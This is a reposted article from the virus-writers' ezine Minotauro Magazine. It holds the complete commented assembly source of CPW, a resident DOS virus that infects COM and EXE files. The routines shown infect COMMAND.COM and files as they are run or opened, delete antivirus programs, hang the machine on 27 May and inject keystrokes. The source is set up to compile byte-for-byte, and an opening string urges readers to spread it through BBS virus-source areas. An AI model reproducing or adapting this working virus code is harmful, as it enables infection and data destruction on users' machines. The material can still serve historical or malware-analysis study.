Copy Link
Add to Bookmark
Report

Minotauro Magazine Issue 05 08 CPW.ASM

eZine's profile picture
Published in 
Minotauro Magazine
 · 6 Feb 2021

  

; Virus: CPW
; Tipo: Infector de COM/EXE parasitico, residente, fast infector.
; Size: 1459, en memoria, 2000
; Origen: Chile

; Desensamblado por Trurl para Minotauro Magazine #5 (con colaboracion de
; El Cancerbero)

cpw segment para public
assume cs:cpw, ds:cpw, es:cpw, ss:cpw

B2BM equ 1
; NOTA: Para un match byte-a-byte del virus original, este B2BM tiene que
; estar en 1. Si quieren sencillamente compilar, ponganlo a 0. (Va a ocupar
; menos, al menos con TASM 3.1, aunque funciona IGUAL).

evsize equ vfin-vstart
evSIP equ (evsize+15) SHR 4 ; SIP = size in paras

org 100h
start:
jmp vstart
nop
db "Esto es para los que van a recortar esto y meterlo en el area "
db "Virus Sources de sus BBSs: HAGAN LO QUE QUIERAN CON EL VIRUS, "
db "PERO LEAN MINOTAURO MAGAZINE"
db "Trurl, Digital Anarchy"

vstart:
JMP begin
string1 db "Este programa fue hecho en Chile en 1992 por CPW. "
string2 db "C:\COMMAND.COM", 0 ; Para infectar el Command COM.
string3 db "­Feliz cumplea¤os CPW!$" ; Se imprime el 27/Mayo..
fhandle dw 0 ; File handle del file a infectar
oldint21 dd 0 ; handler original de int 21
oldint16 dd 0 ; handler original de int 16
oldint24 dd 0 ; handler original de int 24
ftype db 1 ; 1=COM, 0=EXE... tipo de file DESDE DONDE se instala
readbufexe db 18h DUP(0) ; 1ra copia del header EXE
readbufexe2 db 18h dup(0) ; 2da copia del header EXE
orbytes db 0cdh, 20h, 090h ; 3 bytes originales del COM
vsize dw evsize ; Size del virus en bytes
vSIP dw evSIP ; Size del virus en paras
branchoff dw 100h ; se usa para el salto al hoste (en COM)
branchadd dd 0 ; se usa para el salto al hoste (en EXE)
nameptr dd 0; para guardar el ptr del nombre del file a infectar
oldfattr dw 0; old file attributes
readbuf db 90h,90h,90h ; read buffer (para autoreconocimiento)
db 0 ; se le escapo un byte :-)
jmpfix db 0e9h, 0, 0; para fixear JMP en infeccion de COM
string4 db " You are here CPW!" ; Ver rutina de INT 16
index dw 0
newint24: iret
fdate dw 0 ; fecha y tiempo originales del file infectado, se
ftime dw 0 ; usan para restablecerlas despues de la infeccion
antivstr db 0BCh,0B1h,0BCh,0B8h,0AAh,0BEh,0ADh,0BBh,0BAh,0B2h,0ACh
db 0BCh,0AFh,0BEh,0A9h,0ACh,0BCh,0BEh,0B1h,0BCh,0B3h,0BAh
db 0BEh,0B1h,0B9h,0B6h,0B1h,0BBh,0A9h,0B6h,0ADh,0AAh,0BCh
db 0B7h,0B4h,0A9h,0B6h,0ADh,0AAh,0ACh
; esto es:
; "CNCGUARDEMSCPAVSCANCLEANFINDVIRUCHKVIRUS" + FF BYTE A BYTE
; "CNC GUARDEMS CPAV SCAN CLEAN FINDVIRU CHKVIRUS"
; Se usa para borrar estos antivirus, cuando son ejecutados.

begin:
PUSHF
PUSH AX
PUSH BX
PUSH CX
PUSH ES
CALL next ; para calcular el delta offset
next:
POP SI
SUB SI,next-vstart
XOR AX,AX ; self residence check
MOV DS,AX ; si el ultimo byte de la tabla de vectores
MOV AL,ds: byte ptr [3FFh]; es FB, el virus esta en memoria.
CMP AL,0FBh
JZ alreadyinstalled

PUSH SI
CALL install ; rutina para instalarse en memoria
POP SI
alreadyinstalled:
IF B2BM
db 2eh
dw 0bc80h, ftype-vstart
db 0
ELSE
CMP BYTE PTR cs:[ftype-vstart+si],0 ; variable de tipo de file
ENDIF
; si es un EXE, continua, si no, va a la rutina de COM
JNZ instlcom
PUSH CS
POP DS
MOV AX,CS ; obtiene el SEGMENTO haciendo CS Actual-CS del header
SUB AX,word ptr [SI+readbufexe2-vstart+16h]
PUSH AX
POP BX
ADD AX,[SI+readbufexe-vstart+16h]; Le suma el CS de header original
MOV [SI+branchadd-vstart+2],AX; y asi obtiene el CS donde saltar

IF B2BM
DW 9C03H, readbufexe-vstart+0eh
DW 9C89H, readbufexe-vstart
DW 848BH, readbufexe-vstart+14h
ELSE
ADD BX, [SI+readbufexe-vstart+0eh]; SS
; AX CS de entrada, BX SS de entrada
MOV [SI+readbufexe-vstart],BX
MOV AX,[SI+readbufexe-vstart+14h]
ENDIF

MOV [SI+branchadd-vstart],AX
POP AX
MOV ES,AX
MOV DS,AX
XOR DI,DI
POP CX
POP BX
POP AX
POPF
CLI

IF B2BM
db 2eh
DW 0A48BH, readbufexe-vstart+10h
db 2eh
DW 948EH, readbufexe-vstart
ELSE
MOV SP,word ptr cs:[SI+readbufexe-vstart+10h]
MOV SS,word ptr cs:[SI+readbufexe-vstart]
ENDIF

STI
JMP dword ptr cs:[SI+branchadd-vstart] ; salto al EXE original
instlcom:
PUSH CS
POP DS
PUSH CS
POP ES
PUSH SI
LEA SI,[orbytes-vstart+si]
MOV DI,100h
MOV CX,3
REPZ MOVSB ; restablece los 3 bytes originales del COM
XOR DI,DI
POP SI
POP ES
POP CX
POP BX
POP AX
POPF
JMP [branchoff-vstart+si]; y salta a CS:100h

appendvir:
; esta rutina sencillamente agrega el virus al final del file
MOV BX,ds:[fhandle-vstart]
XOR CX,CX
XOR DX,DX
MOV AX,4202h
INT 21h
MOV CX,ds:[vsize-vstart] ; ?
IF B2BM
dw 168dh, 0
ELSE
LEA DX,ds:[0]
ENDIF
MOV AH,40h
INT 21h
RET

install:
; NOTA: 7D para = 7D0 bytes = 2000 bytes. Ocupa 2000 bytes en memoria.
MOV AH,49h ; dealocatear el bloque actual
INT 21h
MOV BX,0FFFFh; obtener memoria libre total del sistema
MOV AH,48h
INT 21h
SUB BX,7Dh ; memoria libre < a 7dh para?
JB quitinstall ; si es menor, abortar
MOV CX,ES
STC
ADC CX,BX ; obtener seg. donde copiarse + 1 (por el MCB)
MOV AH,4Ah ; resize el bloque actual a
INT 21h ; toda la memoria-7dh
MOV BX,7Ch
STC
SBB es:[2],BX ; Esto que es? Alguien sabe? Al OWNER le resta?
; Si 7C estuviera en BH, quiza, pero asi?
MOV ES,CX
MOV AH,4Ah ; nuevo bloque 7d->7c
INT 21h
MOV AX,ES
DEC AX
MOV DS,AX
MOV WORD PTR ds:[1],8 ; owner=dos

CLD
PUSH CS
POP DS
SUB DI,DI
MOV CX,05DCh ; virlen+29h?
REPZ MOVSB; copiar el virus al bloque.

CALL hookints ; capturar las interrupciones 21 y 16

XOR AX,AX ; mover FB al ultimo byte de la IVT
MOV ES,AX
MOV BYTE PTR es:[3FFh],0FBh
quitinstall:
RET ; volver

hookints:
PUSH ES
POP DS
MOV AX,3521h
INT 21h
MOV word ptr ds:[oldint21-vstart],BX ; copiar al virus en mem. alta
MOV word ptr ds:[oldint21-vstart+2],ES
XOR AX,AX ; hookear la int 21 acceso directo
MOV ES,AX
CLI
MOV WORD PTR es:[21h*4],newint21-vstart
MOV es:[21h*4+2],DS ; capturar int 21 via acceso directo
STI
MOV AX,3516h
INT 21h
MOV word ptr ds:[oldint16-vstart],BX ; lo mismo con int 16
MOV word ptr ds:[oldint16-vstart+2],ES
XOR AX,AX
MOV ES,AX
CLI
MOV WORD PTR es:[16h*4],newint16-vstart ; lo mismo
MOV es:[16h*4+2],DS
STI
RET

newint21:
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DI
PUSH SI
PUSH ES
PUSH DS
PUSHF
MOV WORD PTR cs:[vsize-vstart],evsize ; innecesario, pero bueh.
MOV WORD PTR cs:[vSIP-vstart],evSIP
CMP AH,4Bh ; <- infecta al correr files,
JZ intercept
CMP AX,3D00h; <- al abrir files
JZ intercept
CMP AH,43h ; <- y al cambiar atributos.
JZ intercept
JMP quit21 ; si no es nada de esto, ir a la int 21 original.

IF B2BM
NOP; Esto pasa por no poner el /M9 :-). Si compilan con 1 pasada
; "comenten" este NOP, si compilan con /M9 o /M lo que sea, dejenlo asi
; (si quieren un byte match del virus).
ENDIF

disparador:
; Este es uno de los disparadores.
MOV AH,2Ah ; obtener fecha..
INT 21h
CMP DX,51Bh ; es 27/mayo...?
JNZ quit21
MOV DX,string3-vstart
PUSH CS
POP DS
MOV AH,9 ; imprime "­Feliz cumplea¤os CPW!"
INT 21h
HLT ; y cuelga la maquina...

quit21:
POPF
POP DS
POP ES
POP SI
POP DI
POP DX
POP CX
POP BX
POP AX
JMP cs:dword ptr [oldint21-vstart]

intercept:
CALL dumberror ; estupidizar int 24
PUSH DS
PUSH DX
PUSH CS
POP DS
CMP BYTE PTR ds:[orbytes-vstart],1
JZ nocommandcom
IF B2BM
dw 168dh, string2-vstart
ELSE
LEA DX,ds:[string2-vstart] ; "COMMAND.COM"
ENDIF
CALL infect ; infectar command.com
MOV BYTE PTR ds:[orbytes-vstart],1
nocommandcom:
POP DX
POP DS
CALL checkav; BORRAR los antivirus
JB shit2
CALL infect ; infeccion en si
shit2:
CALL restorerr ; restaurar int 24 posta
JMP disparador ; chequear el disparador del 27/5

infect:; infectar DS:DX (sea lo que sea).
MOV cs:word ptr [nameptr-vstart],DX ; guardar cuidadosamente el
MOV cs:word ptr [nameptr-vstart+2],DS; ptr al nombre del file
MOV CX,50h
MOV AL,'.'
PUSH DS
POP ES
PUSH DX
POP DI
REPNZ
SCASB ; buscar el PUNTO...
JNZ notfound
; esta diferenciacion por la extension COM o EXE es medio
; innecesaria ya que despues se fija en la marca MZ
CMP WORD PTR es:[DI],4F43h; "CO"
JNZ notcomext
ADD DI,2
CMP BYTE PTR es:[DI],4Dh; "M"
JZ iscomext
notcomext:
CMP WORD PTR es:[DI],5845h; "EX"
JNZ notfound
ADD DI,2
CMP BYTE PTR es:[DI],45h; "E"
JZ isexeext
notfound:
RET


iscomext: ; infeccion para files COM
CALL fixattr; modificar atributos del filen (para poder infectar)
JB abortinfcom
CALL openfile ; abrir el file
PUSH CS
POP DS
CALL getlen; chequear infeccion previa
JZ shit4
CALL checkspace ; chequear que haya espacio en disco
JB shit4
CALL getftimedate ; get file time and date del file
XOR CX,CX
XOR DX,DX
MOV AX,4200h ; move ptr to file begining
INT 21h
MOV BX,cs:[fhandle-vstart]
MOV CX,3
MOV DX,orbytes-vstart ; read 1st 3 bytes
MOV AH,3Fh
INT 21h
CMP WORD PTR ds:[orbytes-vstart],5A4Dh; es MZ EXE?
JZ isexeMZ ; si es exe, ir a rutina de infeccion de EXE
XOR CX,CX
XOR DX,DX
MOV AX,4200h ;move ptr to begin.
INT 21h
MOV CX,3
IF B2BM
dw 168dh, jmpfix-vstart
ELSE
LEA DX,ds:[jmpfix-vstart]
ENDIF
MOV AH,40h ; write JMP al principio del file
INT 21h
MOV BYTE PTR ds:[ftype-vstart],1; ?
CALL appendvir; append virus to file
CALL restoreftd; restore original file time & date
shit4:
CALL closefile; cerrar archivo
CALL restorefattr ; restablecer atributos originales
abortinfcom:
RET

isexeext: ; Rutina de infeccion de EXE
CALL fixattr
JNB fixok ; jejeje Relative Jump is Out of range :-)
JMP abortinfexe ; todos tenemos los mismos problemas, se ve :-)
fixok:
CALL openfile ; abrir el file
PUSH CS
POP DS
CALL getlen ; chequear infeccion previa
JNZ isexeMZ
JMP shit5 ; si esta infectado, no reinfectar
isexeMZ:
CALL checkspace ; chequear espacio en disco.
JNB spaceok
JMP shit5
spaceok:
PUSH CS
POP ES
MOV BX,cs:[fhandle-vstart]
XOR CX,CX
XOR DX,DX
MOV AX,4200h ; move ptr to beg.
INT 21h
MOV CX,18h
IF B2BM
dw 168dh, readbufexe-vstart
ELSE
LEA DX,ds:[readbufexe-vstart]
ENDIF
MOV AH,3Fh ; leer 18h bytes (el header)
INT 21h
CMP WORD PTR ds:[readbufexe-vstart],5A4Dh
JNZ shit5
; infecta EXE de extension .COM, pero no COM de extension .EXE
CALL getftimedate
MOV CX,18h
IF B2BM
dw 368dh, readbufexe-vstart
dw 3e8dh, readbufexe2-vstart
ELSE
LEA SI,ds:[readbufexe-vstart]
LEA DI,ds:[readbufexe2-vstart]
ENDIF
REPZ ; hacer una 2da copia del header
MOVSB
XOR CX,CX
XOR DX,DX
MOV AX,4202h
INT 21h
PUSH DX
PUSH AX ; DX.AX file size
MOV CX,10h ; ver si el file termina en paragrafo
DIV CX
SUB AX,ds:[readbufexe2-vstart+8]
MOV ds:[readbufexe2-vstart+16h],AX ; New CS = FSize/10h-Header Size
ADD DX,begin-vstart ; como vemos, el virus no recibe el control en
; un offset fijo en EXE
MOV ds:[readbufexe2-vstart+14h],DX; vstarting IP
ADD AX,ds:[vSIP-vstart]
MOV ds:[readbufexe2-vstart+14],AX ; starting SS = cs+VSIP :-)
MOV WORD PTR ds:[readbufexe2-vstart+10h],100h ; starting SP=100
POP AX
POP DX
ADD AX,ds:[vsize-vstart]
ADC DX,0
MOV CX,200h
DIV CX
INC AX
MOV ds:[readbufexe2-vstart+2],DX ; modificar el size en el header
MOV ds:[readbufexe2-vstart+4],AX
MOV BYTE PTR ds:[ftype-vstart],0 ; tipo = EXE
MOV AX,4200h
XOR CX,CX
XOR DX,DX
MOV BX,cs:[fhandle-vstart]
INT 21h
MOV CX,18h
IF B2BM
dw 168dh, readbufexe2-vstart
ELSE
LEA DX,ds:[readbufexe2-vstart]
ENDIF
MOV AH,40h ; escribir el header manipulado
INT 21h
CALL appendvir ; agregar el virus al final
CALL restoreftd ; restaurar file time & date
shit5:
CALL closefile ; cerrar
CALL restorefattr ; atrib. originales
abortinfexe:
RET
openfile:
; esta rutina sencillamente abre el file. como ven, llama a la INT 21
; original para no pisarse la cola.
MOV AX,3D02h
PUSHF
CALL cs:dword ptr [oldint21-vstart]; ????
MOV cs:word ptr [fhandle-vstart],AX
RET
closefile:
; cierra el file (medio obvio no?)
MOV BX,cs:[fhandle-vstart]
MOV AH,3Eh
INT 21h
RET

fixattr:
; guardar los viejos atributos, y setearlos a 0, para poder infectar
; files read only, etc.
MOV AX,4300h
PUSHF
CALL cs:dword ptr [oldint21-vstart]
MOV cs:[oldfattr-vstart],CX ; guardar los atributos originales en
MOV CX,0 ; una variable
MOV AX,4301h
PUSHF
CALL cs:dword ptr [oldint21-vstart]
RET

restorefattr:
; esta rutina restaura los atributos originales del file
CALL retrievename
MOV CX,cs:[oldfattr-vstart]
MOV AX,4301h
PUSHF
CALL dword ptr cs:[oldint21-vstart]
PUSH CS
POP DS
RET

getftimedate:
; consigue y guarda el time & date del file
MOV AX,5700h
MOV BX,cs:[fhandle-vstart]
INT 21h
MOV ds:[fdate-vstart],DX
MOV ds:[ftime-vstart],CX
RET

restoreftd:
; restaura el t&d del file
MOV AX,5701h
MOV BX,cs:[fhandle-vstart]
MOV DX,ds:[fdate-vstart]
MOV CX,ds:[ftime-vstart]
INT 21h
RET

retrievename:
; re-poner el nombre del file en DS:DX
MOV DX,cs:[nameptr-vstart]
MOV DS,cs:[nameptr-vstart+2]
RET

getlen:
; chequear infeccion previa
MOV CX,0FFFFh ; -1
MOV DX,0FFFDh ; -3
MOV BX,ds:[fhandle-vstart] ; get file handle
MOV AX,4202h
INT 21h
MOV ds:[jmpfix-vstart+1],AX
MOV CX,3
MOV DX,readbuf-vstart
MOV AH,3Fh
INT 21h
CMP WORD PTR ds:[readbuf-vstart],534Ch
; comparar con "LS" (de "ULS", la marca al final del virus)
RET

dumberror:
; setear INT 24 (critical error handler, genera el mensaje "disk is
; write protected", etc) a un dumb handler
MOV AX,3524h ; get int 24
INT 21h
MOV cs:word ptr [offset oldint24-offset vstart],BX; 935
MOV cs:word ptr [offset oldint24-offset vstart+2],ES
PUSH DS
PUSH DX
PUSH CS
POP DS
MOV DX,newint24-vstart ; 998
MOV AX,2524h; setint24 to dumb shit
INT 21h
POP DX
POP DS
RET
restorerr:
; restaurar int 24
MOV DX,cs:word ptr [oldint24-vstart] ; OJO ACA!
MOV DS,cs:word ptr [oldint24-vstart+2]
MOV AX,2524h
INT 21h
RET

checkspace:
; rutina para chequear que el espacio libre en el disco sea suficiente
; para agregar esta nueva copia del virus
CLD
CALL retrievename ; put name back in DS:DX
MOV DI,DX
XOR DL,DL
CMP BYTE PTR [DI+1],3Ah; hay ':'? ("C:..", "D:..")
JNZ nodrive ; hay un drive al principio de la string?
MOV DL,[DI]
AND DL,1Fh ; ir de caracter "C" a numero 3 para la llamada
nodrive: ; si no hay drive, se fija en A:? (0)..
MOV AH,36h; get disk free space
INT 21h
PUSH CS
POP DS
CMP AX,0FFFFh; invalid drive?
JZ invalidrive
; ax sector per cluster, bx nro clusters
; cx bytes per sector
MUL BX
MUL CX
OR DX,DX
JNZ okdrive
CMP AX,ds:[vsize-vstart]; ???
JB invalidrive
okdrive:
CLC
RET
invalidrive:
CLC ; CLC+CMC => STC :-) Je!
CMC
RET

checkav:
; esta rutina se fija si el nombre del file es una substring de:
; "CNCGUARDEMSCPAVSCANCLEANFINDVIRUCHKVIRUS". si es asi, borra el file :-)
CALL decrypttxt
CLD
MOV CX,50h
MOV AL,'.'
PUSH DS
POP ES
PUSH DX
POP DI
REPNZ SCASB ; buscar el puntito (hacia adelante)
DEC DI
PUSH DI
POP BX
MOV AL,5Ch ; buscar la "\" barra (hacia atras)
STD
MOV CX,50h
REPNZ SCASB
ADD DI,2
PUSH DI
POP SI
SUB BX,DI
CLD
MOV CX,28h
PUSH CS
POP ES
MOV DI,antivstr-vstart
MOV AL,[SI]
keepscan:
REPNZ
SCASB ; scanear caracter * caracter
JCXZ abortscan
PUSH CX
PUSH SI
PUSH DI
INC SI
MOV CX,BX
DEC CX
REPZ ; es substring o no?
CMPSB
POP DI
POP SI
POP CX
JNZ keepscan ; si no es, seguir hasta que se acabe el nombre
NOT CX
INC CX
ADD CX,28h; se ignoran los primeros 11 caracteres ("CNCGUARDEMS")
CMP CX,0bh; porque, preguntenle a CPW
JB quitscan
MOV AH,41h ; DELETE FILE ... de onda, viste? :-)
INT 21h
quitscan:
CALL decrypttxt
STC
RET
abortscan:
CALL decrypttxt
CLC
RET

decrypttxt:
; esta rutina desencripta el textito de la rutina anterior
MOV CX,28h
MOV SI,antivstr-vstart
decrypt:
MOV AL,0FFh
SUB AL,cs:[SI]
MOV cs:[SI],AL
INC SI
LOOP decrypt
RET

newint16:
PUSHF
CMP AH,0 ; getchar function?
JZ getchar ; yeahp..
POPF
JMP dword ptr cs:[offset oldint16-offset vstart]
getchar:
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH SI
PUSH ES
PUSHF
CALL cs:dword ptr [offset oldint16-offset vstart]
PUSH AX
MOV AX,40h
MOV ES,AX
MOV SI,6Ch ; 40:6C = timer del BIOS
MOV AX,es:[SI]
MOV DX,es:[SI+2]
MOV BX,8003h; 32771 tics * 2 = 65422 tics
DIV BX ; 65422 tics / 18.2 tics = 3594.6 segundos
SHR AX,1 ; 3594.6 segundos / 60 segundos = 59.9 minutos = 1 hora
MOV CH,AL ; (NOTA: No es solo calculitos, tambien lo PROBE, y
MOV AX,DX ; efectivamente se dispara a la 1pm y a las 0 hs.)
XOR DX,DX
MOV BX,444h
DIV BX
MOV CL,AL
POP AX
CMP CX,0D00h; Dh = 13. 13 HS.
JZ doit
CMP CX,0 ; 0 hs.
JNZ quit16
doit:
PUSH CS
POP DS
MOV SI,ds:[index-vstart]
MOV AL,byte ptr [string4-vstart+si]
INC WORD PTR ds:[index-vstart]
CMP WORD PTR ds:[index-vstart],12h
JNZ quit16
MOV WORD PTR ds:[index-vstart],0
quit16:
POP ES
POP SI
POP DS
POP DX
POP CX
POP BX
POPF
IRET
Marca db "ULS", 5 ; marca para impedir la reinfeccion.
vfin:
ends
end start

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT